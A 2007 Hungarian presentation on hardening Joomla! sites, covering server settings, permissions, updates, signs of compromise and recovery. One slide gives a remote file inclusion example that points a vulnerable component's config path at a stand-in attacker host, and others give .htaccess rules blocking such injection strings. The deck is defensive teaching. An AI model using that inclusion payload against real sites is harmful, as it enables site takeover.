Está en la página 1de 21

2007.10.21.

Budapest
Hotel Flandria

Gyurkó Zoltán

A Joomla! és a biztonság
Hogyan tegyük bitzonságosabbá
Joomla! oldalunkat
 Mi a támadások célja?

 Programokat helyezzenek el a szerveren,


és utána ezeket a kódokat le tudják futtatni.

 Új fájlok létrehozása, feltöltése

 Meglévő fájlok átírása


 Mik a támadási felületek?

 Rendszer (OPrendszer, ftp, apache,


tomcat, cpanel stb)

 Weboldal (felhasználók programjai)

 Kliens gép (jelszó lopás)


 Támadás módja
 Célzott:
• nagy látogatottságú oldalak,
• „látogatókat megosztó” pl politikai, társadalmi
kérdésekkel kapcsolatos tartalmú oldalak,
• Pl. online vásárláshoz fizetéshez szükséges
adatok megszerzése
 Robotok, botok
• Zombi gépek
• Credit gyűjtés
 Biztonságos -e a Joomla! ?

 Igen, de fokozott körültekintést igényel.


Közkedvelt célpont.

Biztonságosak e a
komponensek/modulok/mambotok
/templétek?
 Tekintsük mindet nem biztonságosnak.
 Mit lehet/kell tenni?
Kezeljük kiemelten fontos kérdésként!
Foglalkozzunk vele!

 Telepítés előtt
 Telepítés közben
 Fejlesztés alatt
 Publikálás után rendszeresen
 Telepítés előtt:
Körültekintően válasszunk szolgáltatót!
Nem az a jó ami olcsó és biztos, hogy minden fut.
 Tájékozódjunk, kérdezzünk!.
 Oprendszer, szerver beállítások
 Php beállítások (phpinfo) –
register_globals, allow_url_fopen
 Apache beállítások (jogosultságok,
mod_security, .htaccess)
 Tűzfal beállítások
 Telepítés közben:
A legfrisebb stabill verziót telepítsük,
és megbízható helyről töltsük le.
 Register_globals emuláció:
• globals.php - define( 'RG_EMULATION', 0 )

 Fájl/könyvtár jogosultságok:
777 jogosultságot kerüljük

 Ne válasszunk nyilvánvaló jelszavakat


 Fejlesztés alatt:

 Ne az éles oldalon fejlesszünk, kísérletezzünk!

 Mindig ellenőrizzük, hogy nem szerepel e a


veszélyes komponensek/pluginok között. (
http://help.joomla.org/component/option,com_easyfaq/task
)

 Lehetőleg a hivatalos honlapról töltsünk le a


legfrissebb stabil verziót, (ne kisérletezzünk
igéretes beta verziókkal)
 Fejlesztés közben:
 Mindig nézzük meg a dátumokat, ha már évek óta
nem fejlesztik, vagy nem frissítik a honlapot, akkor
ne használjuk.

 Olvassuk el a felhasználók hozzászólásait is (ezt


nem feltétlenül a hivatalos honlapon )

 Ha van bugtracker, akkor nézzük meg küldtek e


biztonsági hibákat, és javították e már

 Először egy fejlesztői oldalon teszteljük, (pl. le


lehet e tiltani hogy a webről közvetlenül elérjék)
 URL injection
Veszelyeskomponens.php
include($mosConfig_absolute_path.’mysettings.php’);
 http://www.google.hu/search?q=com_veszelyeskomponens
=> http://celpont.net

 http://celpont.net/administrator/components/com_veszelyesk
omponens/veszelyeskomponens.php
 veszelyeskompnens.php?mosConfig_absolute_path=http://z
ombigep.net/eldugottkonyvtar

 include(’
http://zombigep.net/eldugottkonyvtar/mysettings.php
’)
// allow_url_fopen
 URL injection: védekezés

Ami nem szükséges az ne legyen elérhető


a webről

 .htaccess
Order allow,deny
URL injection: védekezés
.htaccess
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

# Block out any script that includes a <script> tag in URL


RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
 Csak az legyen elérhető a webről
ami szükséges

/index.php
/index2.php
/images
/templates (!!!)
/administrator/index.php
/administrator/index2.php
/administrator/index3.php
/administrator/images/
/administrator/templates/
 URL injection: védekezés

 Minden fájl így kezdődjön:

defined( '_VALID_MOS' ) or die( 'Direct Access to


this location is not allowed.' );
// index.php: define( '_VALID_MOS', 1 );

 legyen index.html
(vagy directoryindex index.php)
 uploads temp könyvtár

Különösen veszélyes. Semmiképp ne legyen


a webről elérhető könyvtárak között
 Publikálás előtt:
 Töröljünk mindent ami nem kell
(/installation, template-ek)

 Fájl/könyvtár jogosultságokat állítsuk be


(644, 755)

 Biztonsági beállítások (.htaccess, php.ini,


IP korlátozások)

 Backup
 Publikálás után rendszeresen:

 Rendszeresen ellenőrizzük jelent e meg frissítés.


A Joomlánál is de főleg az utólag telepített
komponensek/pluginok/moduloknál
(mindegyiknél!)
 Rendszeresen ellenőrizzük nem került e fel a
veszélyes kiegészítők közé
 Gyakran változtassuk a jelszavakat.
 Rendszeresen + minden módosítás előtt
MENTÉS
 Honnan tudjuk hogy feltörték az
oldalunkat?
Gyakran nincsenek látható jelek! Megpróbálják elrejteni, sokszor
csak egy „jelre” várnak, hogy aktiválódjanak (zombi gépek).
Valószínű:
 Látható jelei vannak az oldalon (pl. felülírták az index.php, az
adatbázisban átírták a cikkeket stb)
 „Idegen” kód a forrásban (iframe, <script>, <embed>).
Általában kódolt, pl ASCII, BASE64
 kiugró látogatottság
 böngésző biztonsági üzenet
 trójai- víruspajzs figyelmeztetés
Gyanús:
 korbábban működő komponensek, modulok nem vagy
furcsán működnek
 nem törölhető könyvtárak
 Ha megvan a baj
FONTOS! Nem elég csak a hibás komponenst
frissíteni!

Állítsuk vissza a legutóbbi mentésből a támadás


előtti állapotot és utána frissítsünk
2007.10.21.
Budapest
Hotel Flandria

Click to edit company slogan .

También podría gustarte